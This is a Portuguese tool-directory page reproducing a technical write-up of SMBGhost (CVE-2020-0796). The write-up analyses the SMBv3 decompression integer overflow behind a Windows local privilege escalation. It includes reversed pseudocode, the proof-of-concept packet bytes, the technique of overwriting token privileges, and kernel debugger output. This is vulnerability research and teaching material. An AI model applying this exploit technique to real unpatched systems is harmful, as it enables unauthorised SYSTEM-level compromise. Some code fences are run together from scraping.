Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-0796 — Análise técnica e prova de conceito para CVE-2020-0796 (SMBGhost), uma vulnerabilidade de estouro de inteiro na compressão SMBv3 que leva a escalada de privilégio local no Windows 10/Server. | Kitploit
Ferramentas/GitHubGitHub/datntsec/cve-2020-0796
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Binários
GitHubdatntsec/cve-2020-0796

CVE-2020-0796

Análise técnica e prova de conceito para CVE-2020-0796 (SMBGhost), uma vulnerabilidade de estouro de inteiro na compressão SMBv3 que leva a escalada de privilégio local no Windows 10/Server.

Ver Repositório
1há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-0796


Visão geral:

A funcionalidade de compressão adicionada ao SMBv3 a partir da versão 1903 dos sistemas operacionais Windows 10/Server contém uma vulnerabilidade de estouro de inteiro confirmada pela Microsoft em 12/03/2020. Permite que um atacante execute escalonamento de privilégio local (LPE) e execução remota de código (RCE). Aqui, abordaremos apenas a vulnerabilidade LPE.

Versões afetadas:

  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  • Windows Server, version 1903 (Server Core installation)
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows Server, version 1909 (Server Core installation)

Análise do processo de descompressão do SMB:

Análise do arquivo srv2.sys, observa-se que as funções relacionadas à descompressão são chamadas da seguinte forma:``` js Srv2ReceiveHandler | | v Srv2DecompressMessageAsync | | v Srv2DecompressData -------> SrvNetAllocateBuffer | | v SmbCompressionDecompress | | v memcpy

root@kitploit:~
Primeiro, a função `Srv2ReceiveHandler` é chamada para receber um pacote de dados smb e chamar uma função correspondente ao protocolo `ProtocolId`. Se `PrococolId` = 0x424D53FC, ela chamará a função `Srv2DecompressMessageAsync`, que por sua vez chamará a função `Srv2DecompressData` para descomprimir o pacote de dados. A função `Srv2DecompressData` chamará a função `SrvNetAllocateBuffer` para alocar um `Alloc` usado para armazenar os dados após a descompressão, em seguida chamará a função `SmbCompressionDecompress` para realizar a descompressão do pacote de dados e, por fim, chamará a função `memcpy`. Assim, todo o processo de Decompress terá as seguintes etapas principais:
- 1. Allocate
- 2. Decompress
- 3. Copy

De acordo com a documentação fornecida pela Microsoft, a estrutura `COMPRESSION_TRANSFORM_HEADER` é usada para enviar e receber dados comprimidos entre cliente e servidor. Ela possui a seguinte estrutura:``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
   ULONG ProtocolId;
   ULONG OriginalCompressedSegmentSize;
   USHORT CompressionAlgorithm;
   USHORT Flags;
   ULONG Offset;
} ;

Aqui nós focamos apenas nos 2 campos principais acima:

  • OriginalCompressedSegmentSize é o tamanho do segmento de dados descomprimidos, em bytes.
  • Offset é o deslocamento em bytes entre o início dos dados comprimidos e o fim da estrutura _COMPRESSION_TRANSFORM_HEADER.

Assim, o pacote de dados comprimidos terá a seguinte forma:

``` c typedef struct _ALLOCATION_HEADER { // ... PVOID UserBuffer; // ... } ALLOCATION_HEADER, *PALLOCATION_HEADER;

NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }

root@kitploit:~
ULONG FinalCompressedSize = 0;

NTSTATUS Status = SmbCompressionDecompress(
    Header->CompressionAlgorithm,
    (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
    (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
    (PUCHAR)Alloc->UserBuffer + Header->Offset,
    Header->OriginalCompressedSegmentSize,
    &FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}

if (Header->Offset > 0) {
    memcpy(
        Alloc->UserBuffer,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
        Header->Offset);
}

Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;

}

root@kitploit:~
Análise da função `Srv2DecompressData`, nota-se que a função recebe um pacote de dados comprimidos `COMPRESSION_TRANSFORM_HEADER` (Header), realiza a alocação de uma região de memória (Alloc) usando a função `SrvNetAllocateBuffer` com parâmetros sendo a soma de `Header->OriginalCompressedSegmentSize` + `Header->Offset`, em seguida descomprime os dados comprimidos e copia os dados não comprimidos para `Alloc->Buffer`.

![](https://assets.kitploit.com/production/public/readmes/24501/a5bf8b5059336fb3677162343bace0d0b45085f2eb89e42d85f81e032fe233dc.png)

O erro de integer overflow ocorre quando `Srv2DecompressData` chama a função `SrvNetAllocateBuffer`. A função `SrvNetAllocateBuffer` na verdade recebe dois valores de 64 bits, mas ao chamar `SrvNetAllocateBuffer`, `Srv2DecompressData` apenas passa para ela dois valores de 32 bits (ULONG). Enquanto isso, tanto `OriginalCompressedSegmentSize` quanto `Offset` são ULONG, e ao somá-los, pode resultar em um número maior que 32 bits. Por isso, ocorre o erro de integer overflow (entendido de forma simples: ao somar 0xffffffff (`OriginalCompressedSegmentSize`) com 0x10 (`Offset`), resulta no valor 0xf0000000f, mas a função `SrvNetAllocateBuffer` recebe apenas o valor 0x0000000f).

![](https://assets.kitploit.com/production/public/readmes/24501/5ef540fac05ff782b005994410e1c43f18c0503fd134a57e1e6ed50c1fbc8219.png)

O erro de integer overflow levará a uma alocação incorreta da região de memória Alloc (o tamanho necessário para alocação é menor que o tamanho real), podendo causar um erro de buffer overflow:
![](https://assets.kitploit.com/production/public/readmes/24501/24c32abbbd764c35df1e73a00b5844711af77018cb54942a9738f5c9cac7ce4a.png)

Para saber se o erro de buffer overflow ocorre, e como ocorre, vamos analisar as funções `SrvNetAllocateBuffer` e `SmbCompressionDecompress`.``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
  v3 = 0;
  v4 = a2;
  v5 = 0;
  if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
  {
    if ( allocSize > 0x1000100 )
      return 0i64;
    v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
  }
  else
  {
    if ( allocSize > 0x1100 )
    {
      _RCX = allocSize - 256;
      __asm
      {
        bsr     rdx, rcx
        bsf     rax, rcx
      }
      if ( (_DWORD)_RDX == (_DWORD)_RAX )
        v3 = _RDX - 12;
      else
        v3 = _RDX - 11;
    }
    v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
    v7 = *(_DWORD *)v6 - 1;
    if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
      v7 = (unsigned __int16)v2 + 1;
    v8 = (unsigned int)v7;
    v9 = *(_QWORD *)(v6 + 32);
    v10 = *(_QWORD *)(v9 + 8 * v8);
    if ( !*(_BYTE *)(v10 + 0x70) )
      PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
    ++*(_DWORD *)(v10 + 20);
    v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
    if ( !v11 )
    {
      ++*(_DWORD *)(v10 + 24);
      v12 = *(_DWORD *)(v10 + 44);
      v13 = *(_DWORD *)(v10 + 40);
      v14 = *(_DWORD *)(v10 + 36);
      LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
      v11 = v15;
    }
    v5 = 2;
  }
  if ( v11 )
  {
    *(_WORD *)(v11 + 0x10) |= v5;
    *(_WORD *)(v11 + 0x12) = v3;
    *(_WORD *)(v11 + 0x14) = v2;
    if ( v4 )
    {
      v24 = *(_DWORD *)(v4 + 0x24);
      if ( v24 >= *(_DWORD *)(v11 + 0x20) )
        v24 = *(_DWORD *)(v11 + 0x20);
      v25 = *(void **)(v11 + 0x18);
      *(_DWORD *)(v11 + 0x24) = v24;
      memcpy(v25, *(const void **)(v4 + 0x18), v24);
      v26 = *(_WORD *)(v4 + 0x16);
      if ( v26 )
      {
        *(_WORD *)(v11 + 0x16) = v26;
        memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
      }
    }
    else
    {
      *(_DWORD *)(v11 + 36) = 0;
    }
  }
  return v11;
}

O código acima é retirado do pseudocódigo do IDA Pro, parece bastante confuso. No entanto, podemos entender simplesmente olhando para o código reescrito por Zecops:``` c PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ...

root@kitploit:~
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
    if (AllocSize > 0x1000100) {
        return NULL;
    }
    Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
    int LookasideListIndex = 0;
    if (AllocSize > 0x1100) {
        LookasideListIndex = /* some calculation based on AllocSize */;
    }

    SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
    Result = /* fetch result from list */;
}

// Initialize some Result fields...

return Result;

}

root@kitploit:~
A função `SrvNetAllocateBuffer` receberá o tamanho necessário para alocação, depois verifica se o tamanho é maior que 0x100100; se for maior, retorna NULL. Esta função também verifica a variável `SrvDisableNetBufferLookAsideList`, no entanto, não encontrei nenhuma documentação sobre essa variável, e ela é definida como 0 por padrão, então provavelmente não é muito importante.

Se a condição for atendida, a função continua a calcular um valor de índice com base no `AllocSize` recebido, depois obtém um valor do array `SrvNetBufferLookasides` (este array tem 9 elementos) com base no índice calculado e procede à alocação. A partir do código assembly, Zecops usou `python` para calcular os tamanhos correspondentes a cada índice:``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]

Assim, para uma requisição de alocação de tamanho menor ou igual a 0x1100, a função alocará uma região de memória de tamanho 0x1100; para uma requisição de alocação de tamanho maior que 0x1100 e menor ou igual a 0x2100, a função alocará uma região de memória de tamanho 0x2100, e assim sucessivamente para requisições maiores.

Após a alocação, a função retornará um endereço que armazena uma estrutura que Zcops nomeou como ALLOCATION_HEADER. De acordo com a investigação, essa estrutura contém os seguintes dados:

Um ponto interessante é que ALLOCATION_HEADER está localizado imediatamente abaixo de ALLOCATION_HEADER->UserBuffer; se for possível ocorrer um buffer overflow em UserBuffer, podemos escrever valores arbitrários em ALLOCATION_HEADER.

Em seguida, veremos o que a função SmbCompressionDecompress faz:``` c __int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize) { PVOID v6; // rdi@1 __int64 v7; // r14@1 __int64 v8; // r15@1 int v9; // ebx@2 int v10; // ecx@3 int v11; // ecx@4 signed __int16 v12; // bx@6 __int64 v13; // rsi@12 unsigned int v14; // ebp@12 int v16; // [sp+40h] [bp-28h]@1 SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1

v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = AllocUserbufferDecompress; v8 = DataCompressed; if ( !CompressionAlgorithm ) goto LABEL_2; v10 = CompressionAlgorithm - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) { LABEL_2: v9 = 0xC00000BB; return (unsigned int)v9; } v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = FinalCompressedSize; v14 = OriginalCompressedSegmentSize; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8); if ( v9 >= 0 ) *(_DWORD *)v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = 0xC000009A; } return (unsigned int)v9; }

root@kitploit:~
Código acima foi retirado do pseudocódigo do IDA, se você não entender o que o código acima faz, pode ver o código reescrito por Zecops:``` c
NTSTATUS SmbCompressionDecompress(
    USHORT CompressionAlgorithm,
    PUCHAR UncompressedBuffer,
    ULONG  UncompressedBufferSize,
    PUCHAR CompressedBuffer,
    ULONG  CompressedBufferSize,
    PULONG FinalCompressedSize)
{
    // ...
 
    NTSTATUS Status = RtlDecompressBufferEx2(
        ...,
        FinalUncompressedSize,
        ...);
    if (Status >= 0) {
        *FinalCompressedSize = CompressedBufferSize;
    }
 
    // ...
 
    return Status;
}

Esta função basicamente realiza a descompressão de dados comprimidos e armazena em Alloc->UserBuffer + Offset. Se a descompressão for bem-sucedida, o parâmetro FinalCompressedSize será atribuído igual ao parâmetro CompressedBufferSize, que é o valor OriginalCompressedSegmentSize passado da função Srv2DecompressData.

Voltando à função Srv2DecompressData, após executar a função SmbCompressionDecompress, a função continuará comparando se os valores FinalCompressedSize e OriginalCompressedSegmentSize são iguais ou não, e se o Status retornado é < 0.``` c if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA; }

root@kitploit:~
Como dito acima, se a descompressão for bem-sucedida, `FinalCompressedSize` e `OriginalCompressedSegmentSize` serão iguais e o `Status` retornado será maior ou igual a 0. Portanto, se a descompressão for bem-sucedida, o código dentro da função if acima não será executado. Vamos analisar o próximo trecho de código:``` c
if (Header->Offset > 0) {
        memcpy( // copy raw data into UserBuffer 
            Alloc->UserBuffer,
            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
            Header->Offset);
}

Este trecho de código verificará se Header->Offset > 0. O valor Offset é o desvio entre a área de dados comprimidos e o final do Header, correspondendo ao tamanho da área de dados não comprimida. Em seguida, chama a função memcpy para copiar a área de dados não comprimida para o início de Alloc->UserBuffer.

Assim, se for possível usar um erro de buffer overflow, sobrescrever a área Alloc Header para alterar o valor do ponteiro Alloc->UserBuffer para o endereço A, o endereço A conterá dados não descomprimidos enviados pelo cliente. Para entender melhor, analisaremos o POC de Daniel García Gutiérrez (@danigargu) e Manuel Blanco Parajón (@dialluvioso_), e depois faremos debug para compreender melhor.

Análise do POC:

O POC realiza o seguinte:

  • Obtém seu próprio token.

  • Cria um array buffer de tamanho 0x1110, armazena no início do array 0x1108 caracteres 'A', depois armazena o valor [Token + 0x40] obtido anteriormente. O propósito disso será explicado mais adiante.

  • Comprime os dados no array buffer e armazena no array compressed_buffer.

  • Cria um array buf contendo os dados conforme abaixo:``` c const uint8_t buf[] = { /* NetBIOS Wrapper */ 0x00, 0x00, 0x00, 0x33,

    root@kitploit:~
      /* SMB Header */
      0xFC, 0x53, 0x4D, 0x42, /* protocol id */
      0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
      0x02, 0x00,             /* compression algorithm, LZ77 */
      0x00, 0x00,             /* flags */
      0x10, 0x00, 0x00, 0x00, /* offset */
    

    };

root@kitploit:~
- Depois, crie um array `packet` com tamanho: `sizeof(buf) + 0x10 + len`, com `len` sendo o tamanho do `buffer` após a compressão acima (tamanho dos **dados** do `compressed_buffer`).
- Copie os dados do array `buf` para `packet`, em seguida copie o valor `0x1FF2FFFFBC` e depois os dados do array `compressed_buffer`:``` c
  memcpy(packet, buf, sizeof(buf));
	*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
	*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
	memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);

Envie o packet para o servidor SMB. Após a etapa acima, o programa POC foi elevado ao privilégio system, em seguida o POC irá OpenProcess winlogon.exe e injetar shellcode para abrir cmd.

A seguir explicarei as dificuldades no POC mencionadas acima.

Por que o array buffer precisa ser criado com o tamanho de 0x1110 bytes, e armazenar 0x1108 caracteres 'A' e um valor [token + 0x40]. Em geral, o objetivo deste POC é usar as funções do SMB para alterar o valor token->Privileges dele mesmo ([Token + 0x40]).

Na parte do cabeçalho SMB, devemos nos atentar ao original decompressed size e Offset, que têm respectivamente os valores 0xffffffff e 0x00000010. O objetivo é fazer o SMB sofrer um integer overflow, e assim alocar um array Alloc->Buffer com tamanho de apenas 0x1100 (< 0x1110 + tamanho dos dados brutos).

O valor 0x1FF2FFFFBC é armazenado nos 0x10 bytes após o cabeçalho, que é um valor armazenado em token->Privileges->Present e token->Privileges->Enabled de um processo SYSTEM, correspondendo ao fato de que se um processo tiver token->Privileges->Present e token->Privileges->Enabled iguais a 0x1FF2FFFFBC, esse processo terá privilégios como um processo SYSTEM.

A partir das informações acima, podemos supor que o POC deseja que as funções do SMB alterem o valor de token->Privileges->Present e token->Privileges->Enabled dele para 0x1FF2FFFFBC. Para saber com exatidão, iremos para a parte de depuração do kernel.

Debug Kernel

Primeiro, colocamos um breakpoint no início da função Srv2DecompressData```` 0: kd> bm srv2!Srv2DecompressData 1: fffff80717c47e60 @!"srv2!Srv2DecompressData" 0: kd> bl 1 e Disable Clear fffff807`17c47e60 0001 (0001) srv2!Srv2DecompressData

root@kitploit:~
Em seguida, execute o POC, a função `Srv2DecompressData` será chamada, o kernel irá parar no início da função `srv2!Srv2DecompressData`.

Proceda para visualizar os dados do Header:``` 
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10  424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20  f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30  403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40  00ffffae 00000000 00000000 00000000

Estes são os dados do array packet que o POC enviou ao SMB conforme análise do POC acima, os primeiros 0x10 bytes são o cabeçalho SMB, os próximos 0x10 bytes contêm 2 vezes o valor 0x1FF2FFFFBC como a área de dados brutos, e os próximos 0x13 bytes são os dados do buffer compactados. Assim, o tamanho total do cabeçalho é 0x33 bytes.

Indo para a chamada da função SrvNetAllocateBuffer para verificar os parâmetros passados, de fato a função SrvNetAllocateBuffer recebe os parâmetros 0xf e null.

O valor de retorno da função SrvNetAllocateBuffer é um ponteiro que aponta para uma estrutura ALLOCATION_HEADER (conforme referido neste artigo).``` 1: kd> dd rax ffffd10e94729150 ca9a7573 417b1178 32fe5f70 dc85f193 ffffd10e94729160 00000002 00000001 94728050 ffffd10e ffffd10e`94729170 00001100 00000000 00001278 75881029

root@kitploit:~
![](https://assets.kitploit.com/production/public/readmes/24501/e3a63fc2fa82d7b9a33041a4476fa6ffb5dccc8901448378bea85d7f2834e0a2.png)

Em seguida, a função `SmbCompressionDecompress` será chamada, ela irá descomprimir e escrever os dados descomprimidos em `Alloc->Buffer + Header -> Offset````
1: kd> dd ffffd10e94728050
ffffd10e`94728050  1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060  41414141 41414141 41414141 41414141
ffffd10e`94728070  41414141 41414141 41414141 41414141
...
ffffd10e`94729150  41414141 41414141 41414141 41414141
ffffd10e`94729160  41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170  00001100 00000000 00001278 75881029

1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : 0x00000006`02880000
   +0x008 Enabled          : 0x800000
   +0x010 EnabledByDefault : 0x40800000

Neste momento, Alloc->Buffer foi sobrescrito para o endereço [Token + 0x40]. A função Srv2DecompressData procede a chamar memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); para copiar dados brutos para Alloc->UserBuffer. No entanto, Alloc->UserBuffer foi sobrescrito para Token->Privileges, então os dados brutos serão escritos em Token->Privileges:``` 1: kd> dt _sep_token_privileges ffffae8dafb9e770 nt!_SEP_TOKEN_PRIVILEGES +0x000 Present : 0x0000001ff2ffffbc +0x008 Enabled : 0x0000001ff2ffffbc +0x010 EnabledByDefault : 0x40800000

root@kitploit:~
![](https://assets.kitploit.com/production/public/readmes/24501/be25e63dd205f4b2660e0cf51254f0801a5574fc20c90cbf1633364dff732026.png)

Aqui, o programa POC já tem privilégio SYSTEM, o próximo passo é abrir um programa SYSTEM (winlogon.exe) e injetar shellcode para abrir cmd.

# Referências
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)

[Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)

[CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis](https://paper.seebug.org/1165/)

[Token Abuse for Privilege Escalation in Kernel](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)

<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>
Baixar ferramenta